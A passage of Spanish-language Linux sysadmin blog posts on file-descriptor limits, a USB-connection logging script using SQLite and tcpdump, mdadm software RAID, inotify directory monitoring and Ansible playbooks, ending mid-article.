A la hora de trabajar con servidores Linux, la prioridad de uno suele ser siempre la misma: Que sea capaz de dar servicio todo el tiempo posible y que sea capaz de atender cualquier petición que se le realice. Ambas necesidades tienen una estrecha relación con el hardware instalado, pero en muchas ocasiones se ignora el software, el cual también tiene un papel importante. Podemos tener un hardware extremadamente potente que si a nivel de software no tenemos la optimizaciones necesarias, no le estaremos sacando partido al susodicho debido a que tenemos unos límites demasiado estrictos; es por ello que hoy quiero hablaros sobre los límites en Linux.

Existen ciertas aplicaciones tales como las bases de datos y las aplicaciones web, que requieren abrir una ingente cantidad de ficheros: Ficheros temporales, bases de datos, ficheros de configuración, etc... Además, con las bases de datos podemos estar haciendo varias consultas o "aperturas" de fichero simultáneas que contarían como múltiples aperturas de fichero... Esto en servidores con una carga de trabajo relativamente baja no supone un problema, pero en servidores con altas cargas de trabajo sí que supondría un problema ya que podríamos superar el límite de ficheros abiertos de forma simultánea, dando como error interno el mensaje: "Too many open files". Esto es debido a que los límites impuestos por el sistema nos impiden abrir más ficheros, al igual que otros límites nos pueden impedir otras tareas.

Afortunadamente dichos límites pueden ampliarse de forma sencilla. Lo primero sería conocer nuestro límite actual, lo cual es tan sencillo como escribir el comando:

ulimit -n

En caso de tener los valores por defecto, el valor mostrado por la salida de dicho comando sería de 1024; es decir que el límite actual sería de 1024 ficheros abiertos. Esto puede parecer un valor muy alto, pero en un servidor dicho valor puede quedarse corto, especialmente si trabajamos con bases de datos como PostgreSQL que trabaja con una gran cantidad e ficheros temporales por cuestiones de rendimiento.

Para cambiar el límite actual de forma provisional, podemos recurrir al comando:

ulimit -n 99999

El problema de dicho comando sería que el límite solo valdría para el usuario y sesión actual; si cerramos sesión o reiniciamos el equipo, dicho límite se perdería y volvería a establecerse el de 1024. Para realizar un cambio más permanente tendríamos que editar el fichero /etc/security/limits.conf.

Dicho fichero establece los límites para diferentes usuarios y grupos. Por defecto su contenido está completamente comentado, con lo que cualquier límite que deseemos agregar tendrá que ser hecho a mano. Antes de añadir cualquier contenido, es importante entender su sintaxis, ya que será lo que nos ayudará a entender qué queremos añadir y cómo hacerlo. Cada límite que queramos añadir estará compuesto por cuatro secciones separadas por espacios entre sí; en concreto la estructura sería:

dominio tipo objeto valor

Dominio: Este valor es el que dictamina a qué usuario o grupo vamos a asignarle el límite. Con * se haría referencia a todos.
Tipo: Se puede elegir un límite duro (hard) o blando (soft). El blando sería el límite "por defecto" que se tendría en el sistema, mientras que el duro sería el límite que no se podría traspasar aún asignándoselo con el comando ulimit -n X.
Objeto: El objeto especificaría a qué le deseamos poner el límite; se puede poner límite al número de "logueos" simultáneos con el mismo usuario con maxlogins, también se puede poner un límite para el número de procesos controlados por un usuario o grupo mediante nproc, o también puede establecerse el límite de ficheros abiertos mediante nofile. Existen otros objetos tales como data o fsize que establecerían los límites de tamaño de los datos y de los archivos respectivamente... Hay dos objetos cuyo límite es delicado y que es recomendable modificar con cuidado; dichos objetos serían nice; que indicaría el valor máximo de prioridad "nice" que se puede establecer a un proceso, y priority que establecería la prioridad por defecto asignada al programa ejecutado por el usuario o grupo. Ambos objetos pueden tener un valor negativo, pues la prioridad oscila entre -20 y 19 siendo -20 la prioridad más alta y 19 la más baja. Existen más objetos, pero los mencionados serían los más populares.
Valor: El valor sería simplemente el indicador del límite. Aquí se puede poner el valor que nosotros veamos necesario; se podría poner un valor bajo en algunos objetos tales como maxlogins, mientras que se podrían poner valores altos (pero definidos) para objetos tales como nofile. En caso de querer no ponerle limitador alguno se le pondría el valor -1, valor que haría que el límite fuese "infinito" ; la excepción sería para los objetos nice y priority, pues para ambos el valor -1 es un valor que se encuentra dentro del rango que manejan y carecen de ningún valor "infinito".

A sabiendas de cual es la estructura de un límite, vamos a plasmar un par de ejemplos:

Uno de los límites más "usados" sería el la cantidad de ficheros abiertos simultáneos, el cual, tal y como hemos visto antes se especificaría con el objeto nofile. Podemos crear un límite "duro" y uno "blando" para el usuario que, generalmente, más ficheros abrirá: El usuario root. Podemos poner un límite "blando" de 9999 ficheros y uno duro de 99999, lo cual se haría añadiendo lo siguiente:

root   soft   nofile  9999
root   hard   nofile  99999

Por otro lado, en caso de querer poner un límite de maximos logins simultáneos podemos hacer:

root   soft   maxlogins 4
root   hard   maxlogins 4

En caso de querer hacer referencia a un grupo en vez de a un usuario la sintaxis sería @nombre_grupo. Es decir que si deseásemos hacer que el número de procesos controlados por cualquier miembro del grupo usuarios, fuese infinito, haríamos tal que así:

@usuarios soft  nproc -1
@usuarios hard  nproc -1

Para que luego estos límites hagan efecto simplemente valdría con reiniciar el equipo o (en caso de que fuese con un usuario que no fuese root) cerrar sesión, pues las sesiones activas mantendrían los valores actuales.

Espero que os haya resultado útil.

Saludos.

Cómo registrar qué USBs se han conectado en Linux

2018-02-19T20:55:00.003+01:00

La recopilación de información es cada día más importante; en servidores siempre lo ha sido, pero en los equipos de sobremesa ha ido cobrando importancia paulatinamente y hoy en día se ha demostrado que es importante tener registrada toda la información por si en un futuro nos pudiese llegar a ser útil. Hoy quiero hablar sobre el registro de USBs en Linux. Linux tiene la gran ventaja de tener una enorme cantidad de logs, pero los logs no siempre te registran todos los datos que uno desea y corremos el peligro de que dichos logs sean borrados o se roten mediante utilidades tales como logrotate; utilidades especialmente comunes en servidores. Por eso puede ser interesante tener una herramienta corriendo en segundo plano cuya única función sea registrar qué USBs se han conectado/desconectado, la hora en la que lo han hecho, datos útiles tales como el número de serie y de paso, registrar su actividad a ser posible.

En este caso no optaremos a herramientas de terceros sino que tiraremos de conceptos de Linux y los aglutinaremos en un script que automatice todo ello... Además, en este caso, no almacenaremos la información en un fichero en texto plano, sino que vamos a almacenarla en una mini base de datos en formato SQLite... El motivo por el cual se ha optado por dicha opción es simple: SQLite requiere instalar pocas herramientas en el equipo lo cual es perfecto en equipos de sobremesa; además es una base de datos que consume muy pocos recursos por parte del equipo y al mismo tiempo tiene la gran ventaja de seguir siendo una base de datos basada en el lenguaje SQL, con lo cual podríamos hacer consultar de su información mediante consultas SQL mediante SELECTs con sus respectivos filtros, etc... Haciendo que la consulta de la información en el futuro sea muchísimo más eficiente, con la contrapartida de que se requieren unos conocimientos básicos de SQL para poder sacarle partido.

Teniendo esto en cuenta, comencemos con la instalación de las dependencias necesarias para que nuestra solución funcione... Dependiendo de qué distribución tengamos y las herramientas que tengamos instaladas, puede ser que ya tengamos todo lo necesario, pero para asegurarnos haremos:

apt-get install sqlite

Teniendo todo preparado, pasaríamos a crearnos primero la mini base de datos que almacenará la información de los USBs. En mi caso en particular he creado la base de datos en /var y la he llamado listaUsbs.db con lo que su creación sería tal que así:

sqlite /var/listaUSBs.db

Esto no solo crearía la base de datos, sino que estaríamos dentro de ella, con lo que pasaríamos a crear la tabla en cuestión. En mi caso he llamado a la tabla listausbs y su creación (junto con sus respectivas columnas) sería la siguiente:

CREATE TABLE lista_usbs (NOMBRE,FECHA_DETECT,FECHA_DESCONEX,
IDVENDOR,IDPRODUCT,MANUFACT,IPRODUCT,SERIAL);

En esta base de datos guardaremos toda la información importante tal como el nombre completo, la fecha de detección del USB, el fabricante y el numero de serie... Información que puede sernos útil en el futuro. Con esto claro, podemos crear un script en el que por un lado monitoricemos en tiempo real toda la actividad USB mediante tcpdump, y por otro lado también podemos tener constancia de qué USB se ha conectado en qué momento; esto lo podemos lograr mediante el siguiente script, al cual yo he llamado registrador_usbs.sh y que ha sido probado en Debian 8:

#!/bin/bash

#CAPTURAMOS TODO EL TRAFICO USB
modprobe usbmon
nohup tcpdump -i usbmon1 -w /tmp/captura.cap &
while true;
do
        #COMPROBAMOS SI SE HA CONECTADO ALGUN USB NUEVO
        if [ ! -f /tmp/listausbs2.txt ];
        then
                touch /tmp/listausbs2.txt
        fi
        lsusb > /tmp/listausbs.txt
        diff /tmp/listausbs.txt /tmp/listausbs2.txt
        if [ $? -eq 1 ]
        then
                diff /tmp/listausbs.txt /tmp/listausbs2.txt > /tmp/cambio.txt
                cat /tmp/cambio.txt |tail -n +2 > /tmp/cambio2.txt
                while read CAMBIO;
                do
                echo ${CAMBIO} > /tmp/cambio3.txt
                cat /tmp/cambio3.txt |grep "<"
                if [ $? -eq 0 ];
                then
                        #SI ES UNA CONEXION NUEVA LA REGISTRAMOS
                        NOMBRE="$( cat /tmp/cambio3.txt |cut -d '<' -f 2 |cut -d ':' -f 2- | cut -d 'D' -f 2- )"
                        echo $NOMBRE
                        lsusb -D /dev/bus/usb/$(lsusb |grep "${NOMBRE}" |awk {'print $2'})/$(lsusb |grep "${NOMBRE}" |awk {'print $4'} |cut -d ":" -f 1) > /tmp/usb_detallado.txt
                        FECHA_DETECT=$(date)
                        FECHA_DESCONEX=''
                        IDVENDOR=$(cat /tmp/usb_detallado.txt |grep idVendor |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        IDPRODUCT=$(cat /tmp/usb_detallado.txt |grep idProduct |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        MANUFACT=$(cat /tmp/usb_detallado.txt |grep iManufacturer |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        IPRODUCT=$(cat /tmp/usb_detallado.txt |grep iProduct |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        SERIAL=$(cat /tmp/usb_detallado.txt |grep iSerial |awk '{for (i=2; i<NF; i++) printf $i " "; if (NF >= 2) print $NF; }')
                        sqlite /var/listaUSBs.db "INSERT INTO lista_usbs VALUES ('${NOMBRE}','${FECHA_DETECT}','${FECHA_DESCONEX}','${IDVENDOR}','${IDPRODUCT}','${MANUFACT}','${IPRODUCT}','${SERIAL}');"
                        rm /tmp/usb_detallado.txt
                fi
                cat /tmp/cambio3.txt |grep ">"
                if [ $? -eq 0 ];
                then
                        #SI ES UNA DESCONEXION ACTUALIZAMOS LOS DATOS CORRESPONDIENTES
                        NOMBRE="$( cat /tmp/cambio3.txt |cut -d '>' -f 2 |cut -d ':' -f 2- | cut -d 'D' -f 2- )"
                        FECHA_DESCONEX=$(date)
                        sqlite /var/listaUSBs.db "UPDATE lista_usbs SET FECHA_DESCONEX='${FECHA_DESCONEX}' WHERE FECHA_DESCONEX='' AND NOMBRE='${NOMBRE}';"
                fi
                done < /tmp/cambio2.txt
                rm /tmp/cambio.txt
                rm /tmp/cambio2.txt
                rm /tmp/cambio3.txt
        fi
        mv /tmp/listausbs.txt /tmp/listausbs2.txt
done

Con este script, solamente ejecutándolo en segundo plano estaríamos monitorizando en tiempo real toda la actividad mediante tcpdump, y registrándola en nuestra base de datos SQLite. Solamente habría que escribir:

./registrador_usbs.sh >/dev/null &

Dicha información podría ser consultada en el futuro mediante consultas SQL tales como:

Para ver todos los registros:

sqlite /var/listaUSBs.db "SELECT * FROM lista_usbs;"

Para ver un numero de serie concreto:

sqlite /var/listaUSBs.db "SELECT * FROM lista_usbs WHERE 
SERIAL='3 20060413092100000';"

Para eliminar todos los registros:

sqlite /var/listaUSBs.db "DELETE FROM lista_usbs;"

Con ello tendríamos todo monitorizado y registrado en nuestro equipo ganando un gran control sobre la actividad USB en nuestro equipo. Obviamente dicho script sería solamente un ejemplo teórico que puede ser modificado a nuestro gusto para que se adapte lo mejor posible a nuestras necesidades.

Espero que os haya resultado útil.

Saludos.

Cómo crear un RAID por software mediante mdadm en Linux

2018-02-08T21:51:00.001+01:00

Cuando hablamos de servidores y/o equipos que tienen que almacenar un gran volumen de datos importantes, nos vemos obligados a usar tecnologías que aseguren la integridad de nuestros datos en caso de desastre, mediante la tecnología RAID, pues es gracias a ésta que la rotura de un disco duro no es tan "grave" como debería. Generalmente la configuración de discos en RAID se suele hacer desde la propia controladora que incluye el hardware, pero no siempre podemos trabajar en las circunstancias ideales, y ahí es donde debemos de optar por una solución algo menos cómoda, pero igual de útil. La creación de RAID por software, que en este caso realizaremos gracias a la herramienta mdadm.

Antes de proseguir, creo que es interesante que todo aquel que no esté familiarizado con la tecnología RAID, y con los diferentes tipos, tenga una pequeña noción tanto del RAID como de los distintos tipos de éste.

RAID (Redundant Array of Independent Disks) permite usar un espacio de almacenamiento repartido entre varios discos para aumentar el rendimiento y/o la tolerancia a fallos. Dependiendo del tipo de RAID escogido, cuya elección haríamos dependiendo de nuestras necesidades, el RAID nos otorgaría unas ventajas u otras, con lo que es interesante conocer los tipos RAID más comunes con el fin de saber qué elección es la más adecuada para nosotros.

RAID 0:

De entre todos los RAID, probablemente sea el más "inútil", pues su única ventaja es que reparte toda la información en todos los discos que componen el RAID... Esto tiene como ventaja que si tenemos dos discos duros de 1 TB en RAID 0, tendríamos 2TB disponibles para almacenar lo que queramos, si bien tiene una gran desventaja y es que al repartir todo el contenido entre los dos discos, en caso de que uno de los dos fallase, toda la información se perdería, con lo que podríamos decir que el objetivo de este RAID se basa en la rapidez y la eficiencia, dejando de lado cualquier medida que pueda ayudarnos a no perder la información (más allá de las típicas, y al mismo tiempo infravaloradas, copias de seguridad).

RAID 1:

Este sería justo lo contrario al RAID 0, pues así como antes la única función del RAID 0 es la rapidez de acceso a los datos y la capacidad de usar varios discos como si fueran uno solo, en este caso el objetivo del RAID 1 es la tolerancia a fallos. En este caso, RAID 1 lo que haría sería clonar lo guardado en un disco en otro, con el fin de que en caso de que el "primer" disco falle, tengamos el segundo con la información íntegra disponible.

RAID 5:

Probablemente el más famoso de todos en el ámbito de servidores. En este caso no podemos realizar un RAID 5 con solo 2 discos, sino que harían falta un mínimo de 3. En este caso, el RAID 5 combina capacidad y tolerancia a errores, pues se trata de un RAID que usa tres cuartas partes de cada disco para el espacio en sí, mientras que una cuarta parte de cada uno de ellos es dedicada para la tolerancia a fallos. Además, en caso de que uno de los discos se averiase, tan pronto como se sustituyese, el nuevo disco se llenaría automáticamente con la información que le corresponde gracias a que los otros dos discos saben qué información le falta. Estos gracias a que distribuye cada ciertos bloques de información un bit de paridad permite saber qué información sería necesaria "rellenar" en caso de fallar un disco duro. En caso de que un segundo disco fallase (sin haber llegado a sustituir el primero), se perdería toda la información.

Teniendo estos conceptos claros, podemos pasar a la creación y/o configuración de RAIDs; para ello, lo primero e indispensable sería tener instalada la herramienta mdadm. Dicha herramienta, si bien viene incluida por defecto en los repositorios, no está instalada en el sistema, con lo que si queremos instalarla deberíamos hacer:

apt-get install mdadm

Una vez tengamos la herramienta instalada; la creación de volúmenes RAID es bastante sencilla; el único requisito es que tengamos dos discos duros (que pueden ser discos duros virtuales) o más para RAID 0 o RAID 1 y tres discos o más para RAID 5. Teniendo esto en cuenta, la sintaxis para la creación de un nuevo RAID por software sería:

mdadm -C nombre_raid -l tipo_raid -n número_discos discos_duros_a_usar nombre_discos

Si esto se desgranase significaría lo siguiente:

-C implica que se va a crear un nuevo RAID, al cual se le va a poner un nombre identificativo que el sistema pueda reconocer como si fuese un dispositivo más. Por norma general se usa como nombre /dev/mdx; por ejemplo /dev/md0.
Con el parámetro -l le estaríamos diciendo qué tipo de RAID queremos... Aquí solamente habría que indicarselo de forma numérica. Es decir que si quisiésemos un RAID 0 solamente especificaríamos el número 0, RAID 1 con el número 1, etc...
Gracias al parámetro -n estaríamos indicando el número de discos que van a componer el RAID, tras lo cual indicaríamos el nombre de las unidades que van a componer el susodicho.

Supongamos que vamos a crear un RAID 0 y que tenemos dos discos listos para ser usados llamados /dev/sdc y /dev/sdd. Para componer dicho RAID escribiríamos:

mdadm -C /dev/md0 -l 0 -n 2 \
/dev/sdc /dev/sdd

Dependiendo del espacio de cada disco, el RAID tardaría desde segundos hasta varios minutos. Tras crear dicho RAID podemos activarlo o desactivarlo a nuestro gusto mediante los siguientes comandos:

Para pararlo:

mdadm -S /dev/md0

Para arrancarlo:

mdadm -A /dev/md0 /dev/sdc /dev/sdd

Gracias a ello podemos tener activo el RAID solo cuando nosotros lo veamos conveniente, si bien obviamente el tener inactivo el RAID haría que no pudiésemos acceder a los discos.

En caso de tener el RAID activo, podríamos consultar el estado de este gracias al comando:

mdadm -D /dev/md0

En mi caso en particular, la información mostrada sería la de a continuación:

Es importante recalcar que aunque el RAID esté creado, este carece de partición ni formato alguno... Con lo que con el fin de que sea usable habría que usar la utilidad fdisk, y crear una nueva partición:

fdisk /dev/md0

En mi caso habría creado una sola partición cuyo nombre sería md0p1. A dicha partición habría que darle formato, ya que por defecto no posee ninguno y no puede ser montado en GNU/Linux sin él. Así que le asignaríamos un nuevo formato mediante la herramienta mkfs; por ejemplo ext4:

mkfs.ext4 /dev/md0p1

Gracias a dicho comando, el RAID tendría una partición plenamente funcional que podría ser montada en el sistema como una partición más mediante el comando mount. Por ejemplo:

mount /dev/md0p1 /mnt

Obviamente dicha partición podría ser montada durante el arranque si se incluyese en /etc/fstab.

Como podéis ver la creación y gestión de RAIDs, y el convertirlos en volúmenes funcionales es más sencillo de lo que parece; simplemente habría que tener conocimiento de cada tipo de RAID y la ventaja que ofrece cada tipo.

Espero que os haya resultado útil.

Saludos.

Cómo monitorizar eventos de un directorio en tiempo real con inotify en Linux

2018-02-01T21:47:00.000+01:00

En ocasiones podemos vernos en la situación de querer tener un control de lo que ocurre dentro de un directorio; tal es así el control que queremos que podemos llegar a desear ver todos los eventos en tiempo real que ocurren dentro de un directorio, eventos tales como el listado de archivos, la creación y modificación de estos e incluso la eliminación. Generalmente podemos intentar jugar el comando history para ver los últimos comandos, examinar las últimas fechas de modificación de los ficheros, e incluso examinar sus metadatos, con el fin de averiguar lo máximo posible de lo que ocurre en nuestro equipo; especialmente cuando éste está siendo accedido por varios usuarios a la vez o simplemente tenemos miedo de que lo esté siendo. Es por ello que para ocasiones como esas puede ser muy interesante recurrir a herramientas de observación de eventos en tiempo real para Linux tales como inotify.

Inotify es una herramienta con la capacidad de observar eventos en tiempo real dentro de un directorio, lo que nos otorga un gran conocimiento en comparación con otras herramientas, si bien, tal y como he matizado al principio, requiere monitorizar en tiempo real para poder ser funcional. Esta utilidad no está instalada por defecto en el sistema, sino que requiere ser instalada, si bien afortunadamente es realmente sencillo pues está incluida dentro de los repositorios oficiales del sistema:

apt-get install inotify-tools

Esto hará que se instalen dos herramientas: Inotifywait e Inotifywatch. El que nos interesa en concreto es Inotifywait pues ofrece una enorme información.

Un modo muy básico de usar Inotifywait sería de la siguiente forma:

inotifywait /tmp

El problema que tiene usar este comando directamente es que efectivamente escuchará los eventos de dicho directorio, pero no será capaz de escuchar los eventos de los subdirectorios de éste y además al recibir un solo evento inotifywait se cerraría automáticamente. Es por ello que conviene conocer cómo usarla para poder sacarle de verdad provecho.

Hay diferentes parámetros y opciones, pero los más importantes serían los de a continuación:

Comencemos con el parámetro -m; La inclusión de este parámetro hará que inotify entre en modo monitorización, con lo que podrá recibir eventos continuamente sin llegar a cerrarse a menos que nosotros le mandemos la señal necesaria para que se detenga. Dicho parámetro también podría especificarse también mediante --monitor. Otro parámetro muy útil sería el -r; Al usar este parámetro estaríamos indicando que se monitorizase todo el directorio en cuestión y también todos los subdirectorios. El parámetro en cuestión también podría especificarse mediante --recursive. El último que en mi opinión es también importante tener en cuenta sería el -e; Este último es más "opcional" que los dos anteriores, pero puede ser de una enorme utilidad, ya que sirve de filtrador de eventos; es decir que con dicho parámetro veríamos los eventos que nosotros queramos y no todos, que sería lo que se nos mostraría por defecto. El parámetro también puede ser llamado mediante --events. Obviamente, para poder filtrar los eventos, habría que conocer cuales son... Son un número considerable y, desgraciadamente, no todos son fáciles de recordar, pero es bueno conocer al menos su existencia:

access: Este sería uno de los más veríamos, ya que indica que un fichero o el contenido de un directorio ha sido leído.
modify: Este parámetro haría que se nos notifique de los cambios que se realicen en el entorno que estamos monitorizando.
attrib: Este es ligeramente más raro que el resto, pues solamente notificaría los cambios en los atributos de los ficheros o directorios.
close_nowrite: Se notifica cuando se ha cerrado un fichero o directorio que ha sido abierto en modo solo lectura.
close_write: Se notifica cuando se cierra un fichero o directorio en modo escritura.
open: Especifica que un fichero o directorio ha sido abierto; este mensaje también es de los que más aparecen junto con access.
moved_to: Este evento implica que algo ha sido movido hacia el directorio que estamos monitorizando.
moved_from: Este evento indica que algo ha sido movido desde el directorio que estamos monitorizando.
move: Este evento indica que va a haber una actividad de movimiento dentro del directorio que monitorizamos, ya sea desde o hacia el directorio en cuestión.
create: En este caso se indicaría que algo (ya sea fichero o directorio) ha sido creado dentro del lugar que estamos monitorizando.
delete: Al contrario que create, en este caso se detectaría que algo se ha eliminado.
delete_self: Esto indica que el fichero o directorio que estamos monitorizando acaba de ser eliminado.
umount: Aquí se detectaría que el sistema de ficheros en que se aloja aquello que estamos monitorizando, acaba de ser desmontado.

Es conveniente resaltar que generalmente querremos ver todos los eventos, pero es importante conocer qué eventos se monitorizan para así poder hacer filtrados en caso de tener una necesidad muy concreta...

Teniendo estos conceptos claros podemos hacer cosas como la siguiente:

inotifywait -r -m /tmp

Con dicho comando estaríamos monitorizando todos los eventos dentro de la carpeta /tmp y todos sus subdirectorios; además estaría recibiendo constantemente eventos hasta que se le indique lo contrario, con lo que si abriésemos otra terminal podríamos realizar las acciones de a continuación:

cd /tmp && ls && touch test && echo prueba > test && rm test

Si viésemos los eventos visualizados por inotifywait veríamos lo siguiente:

Al final se estarían viendo en tiempo real todas las acciones realizadas, desde la creación del archivo hasta la eliminación de éste. Además si queremos podemos dejar que el proceso inotifywait esté corriendo en segundo plano y que vuelque todo el contenido en fichero para poder analizarlo más tarde con tranquilidad, extrayendo las conclusiones que deseemos. Esto requeriría hacer simplemente la siguiente modificación en el anterior comando:

inotifywait -r -m /tmp > /var/inotify.log &

Dicho proceso tendría que ser finalizado mediante un kill, o llevado a primer plano para poder finalizarse.

Como podéis ver el tener controlado un directorio o un grupo de éstos puede llegar a ser útil pues gracias a ello podemos tener un mayor conocimiento de lo que ocurre dentro de nuestro sistema.

Espero que os haya resultado útil.

Saludos.

Cómo usar los playbooks con Ansible en Linux

2018-01-15T21:22:00.002+01:00

Continuando con el anterior artículo, en esta ocasión vamos a profundizar un poco más en el uso de la herramienta Ansible. Hasta ahora hemos podido mandar ordenes individuales desde el controlador al resto de equipos, a los que llamaremos nodos, pero el problema radica en que por el momento lo único que estamos haciendo es mandar una orden individual a todos... Una orden que puede ser muy práctica y que puede ahorrarnos mucho tiempo, pero que no es lo más práctico cuando queremos gestionar varios servicios y tareas... Es por ello que en este aparado vamos a centrarnos en uno de los aspectos más importantes que ofrece Ansible: Los playbooks. Antes de continuar, es recomendable que, si no se tienen noción alguna de Ansible, os leáis el anterior artículo.

Un playbook no es más que un fichero que contiene las ordenes correspondientes que queremos enviar a todos los nodos; ordenes que se irían ejecutando secuencialmente según hallamos escrito en el fichero. Dicho playbook, estará escrito en lenguaje YMAL y tendrá una extensión .yml. La lógica es parecida a la seguida con las ordenes y los módulos usados en el anterior apartado, pero con más opciones y con la posibilidad de crear un conjunto de ordenes de forma estructurada y ordenada. La mejor forma de entenderlo es con un pequeño ejemplo inicial. Para ello, para tener todo bien organizado, vamos a crear un directorio llamado PLAYBOOKS dentro de /etc/ansible y dentro de dicho directorio vamos a crear un fichero llamado master.yml.

mkdir /etc/ansible/PLAYBOOKS
touch /etc/ansible/PLAYBOOKS/master.yml

Dicho fichero tendrá el contenido de a continuación:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
...

Puede parecer complicado, pero si lo desgranamos, veremos que es muy sencillo:

Los primeros tres guiones indican el comienzo del fichero. Todo fichero YMAL debe llevarlo para que Ansible pueda leerlo correctamente.
Cualquier línea que comience con una # será considerado un comentario, tal y como ocurre en los scripts de bash.
Después comenzaremos con la primera sección de todas, que sería de a qué grupo (especificado previamente dentro del fichero /etc/ansible/hosts) queremos hacer referencia. Allí podemos poner el nombre de un grupo que hayamos creado o, en caso de quererlo, decir que se envíen a todas las IPs y hosts que aparezcan dentro del fichero. En nuestro caso hemos optado por dicha opción, lo cual se representa mediante - hosts: all. Es muy importante comenzar con dicho - pues marcaría el inicio de las acciones y reglas dirigidas a dicho grupo.
Tras decir eso, habría que decir a qué usuario remoto nos queremos conectar. Aquí podemos escoger el que queramos, pero en mi caso, ya que he preparado el usuario root del otro equipo para poder conectarme directamente a él sin contraseña alguna, optaré por usar dicho usuario.
Ahora habría que pasar a la parte de las tareas... Dichas tareas se definen mediante, el nombre tasks: y después debajo de éste empezaríamos a mencionar las tareas una por una; tareas que siempre empezarían con un -.
Toda tarea está compuesta por, cómo mínimo, 2 partes. La primera parte sería meramente informativa. Se pondría un nombre descriptivo que nos mostraría Ansible antes de ejecutar la tarea. Dicho nombre se especificaría mediante - name. La segunda parte sería la tarea a ejecutar, que constaría de: Módulo: argumentos. En este caso hemos usado el módulo service, y los argumentos usados serían name, state y enabled. Se pueden poner tantas tareas como se quieran, siempre y cuando se siga la misma estructura que la que acabo de mencionar.
Por último, siempre al final de cada playbook habría que escribir tres puntos.

Este ejemplo es muy sencillo y puede evolucionar a mucho más, poniendo diferentes hosts y tareas, pero sirve de buena base introductoria... Para ejecutar dicho playbook, simplemente habría que escribir el comando:

ansible-playbook /etc/ansible/PLAYBOOKS/master.yml

El contenido del playbook, al hacer referencia a una única tarea, sería lo equivalente al siguiente comando de Ansible:

ansible all -m service -a \
"name=ntp state=started enabled=yes"

Vamos a poner un ejemplo más completo en esta ocasión; supongamos que queramos asegurarnos de que el servicio NTP tenga la última versión; además también vamos a verificar que el servicio Asterisk está en marcha. Por otro lado vamos a crear una tarea exclusiva para el grupo llamado PRUEBAS; una tarea que consistirá en revisar que tenemos la última versión del paquete apache2. Al final sería aplicara los mismos conceptos que hemos visto arriba, pero de forma un poco más amplia, dejando el fichero con el siguiente aspecto:

---
#Este es el playbook maestro

#Reglas para todos los hosts
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
  - name: Verificar ultima version NTP
    apt: name=ntp state=latest
  - name: Asegurarse que Asterisk esta en marcha
    service: name=asterisk state=started enabled=yes

# Reglas para el grupo PRUEBAS
- hosts: PRUEBAS
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    service: name=apache2 state=started enabled=yes
...

Como podéis ver siempre mantendrá la misma lógica... Es decir primero irían los hosts de destino, luego el usuario con el que queremos hacer las acciones y por último las tareas a realizar.

Una característica muy interesante que podemos aprovechar en los playbooks, es el uso de handlers. Un handler es una tarea que se ejecuta únicamente en caso de que una tarea concreta (especificada por nosotros) haya realizado un cambio de estado. Por ejemplo si tuviésemos un handler preparado para cuando hubiese un cambio de estado en Apache2, y una tarea que se asegurase de que apache2 tuviese la última versión, en caso de que Apache2 no la tuviese, el handler se ejecutaría. Veamos un ejemplo usando como referencia el mencionado Apache2:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    apt: name=apache2 state=latest
    notify: "Reiniciar Apache2"
  handlers:
  - name: Reiniciar apache si es necesario
    service: name=apache2 state=restarted
    listen: "Reiniciar Apache2"
...

Como podéis observar, el handler está a la escucha de que le llegue una notificación; notificación que enviaríamos desde la tarea de verificación de la última versión de Apache2. Con lo que siempre que trabajásemos con handlers, trabajaríamos de la misma forma que con las tareas, pero con la diferencia de que desde la tarea tendríamos que notificar al handler mediante un notify, y desde el handler tendríamos que escuchar a que nos llegase una notificación concreta mediante un listen.

Gracias a las tareas (tasks) y handlers, podemos realizar playbooks muy completos donde podemos agrupar una enorme cantidad de tareas y handlers para luego así llamarlos a todos a la vez; ahorrándonos tener que escribir los comandos uno a uno para cada tarea que queramos realizar, haciendo que nos ahorremos muchísimo tiempo una vez tengamos todas las tareas correctamente definidas. Aún así, a nivel de gestión, el tener todas las tareas y handlers en un solo playbook puede ser una locura a nivel de mantenimiento... Cuando son pocas tareas y servicios no pasa nada, pero y si queremos gestionar 50 servicios, con diferentes grupos, handlers, etc... Técnicamente al agruparlo todo en un solo playbook es perfectamente viable, pero a nivel mantenerlo en el tiempo puede ser realmente costoso, especialmente si se quieren hacer cambios en el futuro... Es por ello que lo ideal es tener un playbook maestro y que este vaya llamando a diferentes playbooks dependiendo de las tareas que se quieran realizar. La llamada a dichos playbooks desde el playbook maestro se realiza mediante la sentencia include, y podemos crear una estructura perfectamente definida para que con el paso del tiempo se pueda mantener sin demasiados problemas.

Vamos a suponer que queremos poner un firewall para todos los equipos; un firewall común que todos van a tener; además también vamos a verificar que tanto Mysql como Apache2 están en marcha, pues tenemos un servidor web; por otro lado también verificaremos qué Asterisk tiene la última versión y que en dicho caso lo reiniciaremos. Estas tareas se podrían considerar como diferentes entre sí y por ello lo suyo sería tener: El playbook maestro, un playbook para el firewall, otro playbook para el apartado web y otro más para Asterisk. Comencemos con el aspecto del playbook maestro, master.yml:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - include: /etc/ansible/PLAYBOOKS/Firewall.yml
  - include: /etc/ansible/PLAYBOOKS/Web.yml
  - include: /etc/ansible/PLAYBOOKS/Asterisk.yml
  handlers:
  - include: /etc/ansible/HANDLERS/Firewall_handler.yml
  - include: /etc/ansible/HANDLERS/Web_handler.yml
  - include: /etc/ansible/HANDLERS/Asterisk_handler.yml
...

Como podéis ver todo queda alojado en ficheros separados, tanto las tareas como los handlers; handlers que como podéis ver se alojarían en otro directorio llamado /etc/ansible/HANDLERS/. Estos ficheros tendrían una ligera variación con respecto a lo que hemos visto hasta ahora, pues a diferencia de un playbook "normal", en estos no haría falta ponerles las etiquetas, solamente las tareas a realizar, pues ya estarían asignadas previamente por el master.yml. Veamos por ejemplo el contenido de uno de los playbooks de tareas; concretamente el contenido del fichero Firewall.yml que posee un módulo que no hemos visto hasta ahora; el módulo copy en el que copiaremos un fichero desde nuestro controlador al resto de nodos.

---
